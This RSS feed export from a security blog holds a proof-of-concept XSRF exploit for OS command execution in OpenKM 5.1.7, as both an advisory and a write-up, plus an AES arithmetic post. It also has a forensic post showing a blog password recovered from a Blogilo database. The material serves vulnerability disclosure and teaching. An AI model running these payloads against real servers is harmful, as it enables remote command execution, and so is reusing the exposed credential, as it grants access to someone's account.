<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>CYBR&#039;s Blog</title>
	<atom:link href="http://cybrs.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://cybrs.wordpress.com</link>
	<description>Digital deep sea diving</description>
	<lastBuildDate>Sat, 28 Jan 2012 01:48:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='cybrs.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>CYBR&#039;s Blog</title>
		<link>http://cybrs.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://cybrs.wordpress.com/osd.xml" title="CYBR&#039;s Blog" />
	<atom:link rel='hub' href='http://cybrs.wordpress.com/?pushpress=hub'/>
		<item>
		<title>BeanShell puts Java Application Servers at Risk</title>
		<link>http://cybrs.wordpress.com/2012/01/28/beanshell-puts-java-application-servers-at-risk/</link>
		<comments>http://cybrs.wordpress.com/2012/01/28/beanshell-puts-java-application-servers-at-risk/#comments</comments>
		<pubDate>Sat, 28 Jan 2012 01:47:21 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[beanshell]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jvm]]></category>
		<category><![CDATA[openkm]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[runtime]]></category>
		<category><![CDATA[xsrf]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=199</guid>
		<description><![CDATA[Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=199&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Developers increasingly integrate BeanShell support into web applications to provide end users and administrators with a simple extension framework. But be warned! BeanShell support without appropriate access control will put the hosting web server at severe risk. An attacker could easily execute operating system calls and without appropriate system hardening such an attack will immediately result in full system compromise.</p>
<p>The BeanShell[1] is an environment that provides execution of Java code snippets in the web application context. The shell supports full Java language syntax and some loose structures for convenience. Be aware, to run code within an Java Virtual Machine (JVM) means to run code on the server. The following screenshot shows BeanShell enabled web application that just run a hello world command.</p>
<p><img src="http://cybrs.files.wordpress.com/2012/01/1327715060872.png?w=549" alt="" /></p>
<p>However, to be able to do some meaningful attacks one must first overcome and understand some limitations of the Java Runtime.getRuntime().exec() method. Simply putting a whole command into the exec method will not run properly since Java will internally tokenize the String and redirect IO streams. The first argument will be taken as executable. All remaining tokens will be passed as parameters to the executable. Thus, the below statement will not work as intended because the &ldquo;-c&rdquo; parameter awaits a single argument.</p>
<p><code> Runtime.getRuntime().exec("/bin/sh -c /bin/echo pwned &gt; /tmp/poc"};</code></p>
<p>Following that, command injection in Java is a difficult thing to do since the attacker mostly just gains control over the parameters. However, in BeanShell we are pretty free to choose from the whole arsenal of Java API classes and methods. Finally, a correct call would look like:</p>
<p><code> String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned &gt; /tmp/poc"};<br />
</code><span style="font-family:monospace;">Runtime.getRuntime().exec(cmd);</span></p>
<p>That way, Java will pass &ldquo;/bin/echo pwned &gt; /tmp/poc&rdquo; correctly. Unfortunately, there is another limitation on the IO streams. Thus, to read and process the output of a command the InputStream classes will be needed. The following snippet is a working example with the Unix list directory (ls) command.</p>
<p><code> import java.io.*;</code></p>
<p><span style="font-family:monospace;">try {<br />
</span><span style="font-family:monospace;">&nbsp; &nbsp; Process ls_proc = Runtime.getRuntime().exec(&#8220;/bin/ls -lah&#8221;);<br />
</span><span style="font-family:monospace;">&nbsp; &nbsp; DataInputStream ls</span><em>in = new DataInputStream(ls</em><span style="font-family:monospace;">proc.getInputStream());<br />
</span><span style="font-family:monospace;">&nbsp; &nbsp; String ls_str;</span></p>
<p><code>&nbsp; &nbsp; while ((ls<em>str = ls</em>in.readLine()) != null)<br />
</code><span style="font-family:monospace;">&nbsp; &nbsp; &nbsp; &nbsp; print(ls_str + &#8221; &#8220;);</span></p>
<p><span style="font-family:monospace;">} catch (IOException e) {<br />
</span><span style="font-family:monospace;">}</span></p>
<p>So, you might be asking yourself how this ex-course on the Runtime class&rsquo;s exec method is related to BeanShell support in web applications?</p>
<p>I have published an advisory[3] on insufficient access control of an integrated BeanShell in an Enterprise Java (J2EE) based document management system software (OpenKM). An attacker could prepare en evil e-mail or website that runs a malicious command on the server if the OpenKM administrator clicks on the link or visits the prepared website.</p>
<p>For example, an attacker would simply embed the below JavaScript exploit code into a web page to cause writing a proof of concept file into the /tmp folder.</p>
<p><code> img = new Image();<br />
</code><span style="font-family:monospace;">img.src=&#8221;http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B&#8221;</span></p>
<p>Related vulnerabilities are often seen in administrative interfaces of web apps. The attack scheme is also known as Cross-site Request Forgery or XSRF[4]. There are several ways to approach the issue. Either ensure proper access controls[5] or lock down the JVM using Java security policies and the Security Manager[6]. In the end, system hardening may help limiting collateral damage in case of successful attacks.</p>
<p>References<br />
[1] <a href="http://www.beanshell.org/">http://www.beanshell.org/<br />
</a>[2] <a href="http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html">http://www.ensta-paristech.fr/~diam/java/online/io/javazine.html<br />
</a>[3] <a href="http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002_openkm_xsrf_os_command_execution.txt">http://www.csnc.ch/misc/files/advisories/COMPASS-2012-002<em>openkm</em>xsrf<em>os</em>command_execution.txt<br />
</a>[4] <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">https://www.owasp.org/index.php/Cross-Site<em>Request</em>Forgery_%28CSRF%29<br />
</a>[5] <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet">https://www.owasp.org/index.php/Cross-Site<em>Request</em>Forgery<em>%28CSRF%29</em>Prevention<em>Cheat</em>Sheet<br />
</a>[6] <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html">http://docs.oracle.com/javase/7/docs/api/java/lang/RuntimePermission.html</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/199/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/199/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/199/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=199&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2012/01/28/beanshell-puts-java-application-servers-at-risk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>

		<media:content url="http://cybrs.files.wordpress.com/2012/01/1327715060872.png" medium="image" />
	</item>
		<item>
		<title>AES Maths (Rijndael multiplication)</title>
		<link>http://cybrs.wordpress.com/2012/01/11/aes-maths-rijndael-multiplication/</link>
		<comments>http://cybrs.wordpress.com/2012/01/11/aes-maths-rijndael-multiplication/#comments</comments>
		<pubDate>Wed, 11 Jan 2012 14:38:35 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[AES]]></category>
		<category><![CDATA[mixcolumns]]></category>
		<category><![CDATA[modulo]]></category>
		<category><![CDATA[multiplication]]></category>
		<category><![CDATA[Rijndael]]></category>
		<category><![CDATA[round]]></category>
		<category><![CDATA[subbytes]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=185</guid>
		<description><![CDATA[I&#8217;m currently fighthing with some AES maths and just figured how to properly calculate the modulo of the polynominal calculations in AES&#160;(Rijndael). The encryption algorithm uses that calculation in the SubBytes and MixColumns operation within each round. Actually, the final round of the 10 rounds specified in AES does not run the MixColumns operation. &#160;However, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=185&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m currently fighthing with some AES maths and just figured how to properly calculate the modulo of the polynominal calculations in AES&nbsp;(Rijndael). The encryption algorithm uses that calculation in the SubBytes and MixColumns operation within each round. Actually, the final round of the 10 rounds specified in AES does not run the MixColumns operation. &nbsp;However, multiplications in Rijndaels GF(2<span style="vertical-align:25%;font-size:.75em;">8</span>) are basically multiplications modulo m(x) whereby the &#8220;Rijndael polinominal&#8221; m(x)=x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+x+1. Thus a multiplication in AES&nbsp;works as follows:</p>
<p>Basic multiplication:</p>
<p style="padding-left:30px;"><strong>(x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">2</span>+x+1)&middot;(x<span style="vertical-align:25%;font-size:.75em;">7</span>+x+1)</strong> =&nbsp;<br />
 x<span style="vertical-align:25%;font-size:.75em;">13</span>+x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">9</span>+x<span style="vertical-align:25%;font-size:.75em;">8</span>+<span style="color:#ff0000;">x<span style="vertical-align:25%;font-size:.75em;">7</span></span>+<span style="color:#ff0000;">x<span style="vertical-align:25%;font-size:.75em;">7</span></span>+x<span style="vertical-align:25%;font-size:.75em;">5</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+<span style="color:#ff0000;">x<span style="vertical-align:25%;font-size:.75em;">2</span></span>+<span style="color:#ff0000;">x</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+<span style="color:#ff0000;">x<span style="vertical-align:25%;font-size:.75em;">2</span></span>+<span style="color:#ff0000;">x</span>+1 =&nbsp;<br />
 x<span style="vertical-align:25%;font-size:.75em;">13</span>+x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">9</span>+x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">5</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+1</p>
<p>Modulo calculation:</p>
<p style="padding-left:30px;">(x<span style="vertical-align:25%;font-size:.75em;">13</span>+x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">9</span>+x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">5</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+1) mod m(x) =<br />
 (x<span style="vertical-align:25%;font-size:.75em;">13</span>+x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">9</span>+x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">5</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+1) mod (x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+x+1) =<strong>&nbsp;x<span style="vertical-align:25%;font-size:.75em;">7</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+1</strong><br />
 &#8211; (x<span style="vertical-align:25%;font-size:.75em;">13</span>+x<span style="vertical-align:25%;font-size:.75em;">9</span>+x<span style="vertical-align:25%;font-size:.75em;">8</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">5</span>) <span style="color:#808080;">note, this line is&nbsp;x<span style="vertical-align:25%;font-size:.75em;">5</span><strong>&middot;</strong>m(x)<br />
 </span>&nbsp; &nbsp; &nbsp; &nbsp; x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>+1<br />
 &nbsp; &nbsp; &nbsp; &nbsp; &#8211; (x<span style="vertical-align:25%;font-size:.75em;">11</span>+x<span style="vertical-align:25%;font-size:.75em;">7</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">3</span>)&nbsp;<span style="color:#808080;">note, this line is&nbsp;x</span><span style="vertical-align:25%;font-size:.75em;">3</span><strong>&middot;</strong><span style="color:#808080;">m(x)<br />
 </span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x<span style="vertical-align:25%;font-size:.75em;">7</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+1</p>
<p>Finally, the result and its binary representation of the multiplication in&nbsp;GF(2<span style="vertical-align:25%;font-size:.75em;">8</span>)&nbsp;is:</p>
<p style="padding-left:30px;"><strong>(x<span style="vertical-align:25%;font-size:.75em;">6</span>+x<span style="vertical-align:25%;font-size:.75em;">4</span>+x<span style="vertical-align:25%;font-size:.75em;">2</span>+x+1)&middot;(x<span style="vertical-align:25%;font-size:.75em;">7</span>+x+1)</strong> =<strong>&nbsp;x<span style="vertical-align:25%;font-size:.75em;">7</span>+x<span style="vertical-align:25%;font-size:.75em;">6</span>+1<br />
01010111&nbsp;</strong><strong>&middot;&nbsp;</strong><strong>10000011</strong>&nbsp;=<strong>&nbsp;</strong><strong>&nbsp;</strong><strong>11000001</strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/185/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/185/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/185/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=185&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2012/01/11/aes-maths-rijndael-multiplication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>
	</item>
		<item>
		<title>Blogilo Forensics</title>
		<link>http://cybrs.wordpress.com/2012/01/06/blogilo-forensics/</link>
		<comments>http://cybrs.wordpress.com/2012/01/06/blogilo-forensics/#comments</comments>
		<pubDate>Fri, 06 Jan 2012 09:17:00 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[blogilo]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[recover]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=174</guid>
		<description><![CDATA[The analysis of social media apps gets more and more weight as these applications gain momentum with end users. Thus, forensic analysts must not only understand how to grab files and content from a suspects computer but also from its online services (not to use the damn cloud word). Therefore, it is crucial to understand [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=174&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The analysis of social media apps gets more and more weight as these applications gain momentum with end users. Thus, forensic analysts must not only understand how to grab files and content from a suspects computer but also from its online services (not to use the damn cloud word). Therefore, it is crucial to understand the full functionality of online social media applications since not only publicly published contents but also hidden and drafted files may be of interest to investigatory entities.</p>
<p>In the end, investigators would need to understand how to recover passwords from supporting desktop software such as blog client programs. This article should point out on how to recover user accounts and passwords from the well used Blogilo KDE (Linux) blog client software.</p>
<p><img src="http://cybrs.files.wordpress.com/2012/01/1325840725420.png?w=549" alt="" /></p>
<p>All KDE applications configuration files are stored within the user home ~/.kde/share/apps folder. Blogilo does store its configuration within that path as well.</p>
<pre>cbrunsch@tubarao:~$ ls -laR .kde/share/apps/blogilo/
.kde/share/apps/blogilo/:
total 92
drwx------  4 cbrunsch cbrunsch  4096 2012-01-06 08:21 .
drwx------ 11 cbrunsch cbrunsch  4096 2011-12-29 16:10 ..
drwx------  2 cbrunsch cbrunsch  4096 2012-01-02 23:03 1
drwx------  2 cbrunsch cbrunsch  4096 2011-12-28 17:10 -1
-rw-r--r--  1 cbrunsch cbrunsch 62464 2012-01-06 08:21 blogilo.db

.kde/share/apps/blogilo/1:
total 48
drwx------ 2 cbrunsch cbrunsch  4096 2012-01-02 23:03 .
drwx------ 4 cbrunsch cbrunsch  4096 2012-01-06 08:21 ..
-rw-rw-r-- 1 cbrunsch cbrunsch 29586 2012-01-02 23:03 style.html

.kde/share/apps/blogilo/-1:
total 8
drwx------ 2 cbrunsch cbrunsch 4096 2011-12-28 17:10 .
drwx------ 4 cbrunsch cbrunsch 4096 2012-01-06 08:21 ..
</pre>
<p>Actually, the file of interest is the blogilo.db file. Let&#8217;s see whether we can read the accounts directly from that file.</p>
<p><img src="http://cybrs.files.wordpress.com/2012/01/1325843293672.png?w=549" alt="" /></p>
<p>We could try to guess from the output what the username and password might be. However, there is also some more binary content. Thus, let&#8217;s have a closer look.</p>
<pre>cbrunsch@tubarao:~/.kde/share/apps/blogilo$ file blogilo.db
blogilo.db: SQLite 3.x database
</pre>
<p>The file command reports an SQLite database. To store the configuration of applications within the file based SQLite format is becoming very popular. Also Firefox does store passwords and history information within databases of the SQLite format. Luckily, these files could be queried very conveniently using an SQLite client. The schema information of that specific Blogilo database can be queried from the sqlite_master table contained within the same file. The schema does also contain information on existing tables.</p>
<pre>cbrunsch@tubarao:~/.kde/share/apps/blogilo$ sqlite3 blogilo.db
SQLite version 3.7.9 2011-11-01 00:52:41
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite&gt; select name from sqlite_master where type="table";
blog
post
comment
category
file
post_cat
post_file
local_post
local_post_cat
temp_post
temp_post_cat
sqlite&gt; select * from blog;
1|30925834|https://cybrs.wordpress.com/xmlrpc.php|cybrs123|Ult1mate.PW!|http://cybrs.wordpress.com/|3|CYBR's Blog|0||
sqlite&gt;
</pre>
<p>Here we go. For each configured blog, there will be an entry within the blog table. Each of the records will  contain the XML-RPC interface URL as well as the username and password of the blog account. That logon information will also grant access on the online service and would allow to seize hidden and drafted evidence.</p>
<p>NOTE: You must install the SQLite version 3.x client otherwise you won&#8217;t be able to query the file.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cybrs.wordpress.com/174/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cybrs.wordpress.com/174/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cybrs.wordpress.com/174/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=174&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cybrs.wordpress.com/2012/01/06/blogilo-forensics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/dde95e5bb9f02be40a8263dc2689dc6f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">cbrunsch</media:title>
		</media:content>

		<media:content url="http://cybrs.files.wordpress.com/2012/01/1325840725420.png" medium="image" />

		<media:content url="http://cybrs.files.wordpress.com/2012/01/1325843293672.png" medium="image" />
	</item>
		<item>
		<title>OpenKM 5.1.7 OS Command Execution (XSRF based)</title>
		<link>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-os-command-execution-xsrf-based/</link>
		<comments>http://cybrs.wordpress.com/2012/01/03/openkm-5-1-7-os-command-execution-xsrf-based/#comments</comments>
		<pubDate>Tue, 03 Jan 2012 08:45:00 +0000</pubDate>
		<dc:creator>cbrunsch</dc:creator>
				<category><![CDATA[Advisories]]></category>
		<category><![CDATA[command execution]]></category>
		<category><![CDATA[openkm]]></category>
		<category><![CDATA[xsrf]]></category>

		<guid isPermaLink="false">https://cybrs.wordpress.com/?p=169</guid>
		<description><![CDATA[######################################################################## # # COMPASS SECURITY ADVISORY http://www.csnc.ch/ ######################################################################## # # ID: COMPASS-2012-002 # Product: OpenKM Document Management System 5.1.7 [1] # Vendor: OpenKM # Subject: Cross-site Request Forgery based OS Command Execution # Risk: High # Effect: Remotely exploitable # Author: Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch) # Date: January 3rd 2012 # ######################################################################### Description: ------------ Cyrill Brunschwiler, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cybrs.wordpress.com&amp;blog=30925834&amp;post=169&amp;subd=cybrs&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>########################################################################
#
# COMPASS SECURITY ADVISORY http://www.csnc.ch/
########################################################################
#
# ID:      COMPASS-2012-002
# Product: OpenKM Document Management System 5.1.7 [1]
# Vendor:  OpenKM
# Subject: Cross-site Request Forgery based OS Command Execution
# Risk:    High
# Effect:  Remotely exploitable
# Author:  Cyrill Brunschwiler (cyrill.brunschwiler@csnc.ch)
# Date:    January 3rd 2012
#
#########################################################################

Description:
------------
Cyrill Brunschwiler, Security Analyst at Compass Security Network Computing,
Switzerland discovered a web application issue based OS command execution flaw
in the OpenKM solution. OpenKM does allow administrative users (having the
AdminRole) to run bean shell scripts. Due to the flaw, an attacker could lure
an OpenKM administrator to a malicious web page that causes arbitrary OS
commands being run in the administrators OpenKM session context. This is
possible because OpenKM does not implement access control mechanisms to avoid
so called Cross-site Request Forgery [2] (a.k.a. CSRF, XSRF, session riding,
forceful browsing). The commands are being executed silently. In the end, this
allows an attacker to run OS commands with the privileges of the process owner
of the application server (JBOSS).

Vulnerable:
-----------
OpenKM 5.1.7 and most likely prior versions (unconfirmed)

Not vulnerable:
---------------
OpenKM version 5.1.8

Fix:
----
To avoid this issue the application must introduce Anti-XSRF tokens for the
web-based administrative interface. To avoid arbitrary command execution the
admin/scripting.jsp could be removed from the OpenKM.ear before the
application is being deployed. Note, the cron job functionality allows to run
*.jar and BeanShell scripts as well.

Exploit:
--------
Login as administrator (having the AdminRole) and call the URL in a different
browser window

http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B

Alternatively the administrator could browse a prepared HTML page in a new tab

img = new Image();
img.src="http://example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"

The above exploit does nothing else than just creating a file in /tmp

String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned &gt; /tmp/poc"};
Runtime.getRuntime().exec(cmd);

Some might also want to browse directories

http://example.com/OpenKM/admin/scripting.jsp?script=import+java.io.*%3B%0D%0A%0D%0Atry+%7B%0D%0A++++String+ls_str%3B%0D%0A++++Process+ls_proc+%3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B%0D%0A++++DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream%28%29%29%3B%0D%0A%0D%0A++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%29+%21%3D+null%29+++++++++++%0D%0A++++++++print%28ls_str+%2B+%22%3Cbr%3E%22%29%3B%0D%0A%0D%0A%7D+catch+%28IOException+e%29+%7B%0D%0A%7D

import java.io.*;

try {
    String ls_str;
    Process ls_proc = Runtime.getRuntime().exec("/bin/ls -lah");
    DataInputStream ls_in = new DataInputStream(ls_proc.getInputStream());

    while ((ls_str = ls_in.readLine()) != null)
        print(ls_str + "
");

} catch (IOException e) {
}

Timeline:
---------
August 6th, Vulnerability discovered
August 9th, Vendor contacted
August 10th, Vendor notified
December 1st, Patched version released
January 2nd, Advisory released

References:
-----------
[1] OpenKM http://www.openkm.com
is an Free/Libre document management system that provides a web interface for
managing arbitrary files. OpenKM includes a content repository, Lucene
indexing, and jBPM workflow. The OpenKM system was developed using Java
technology.

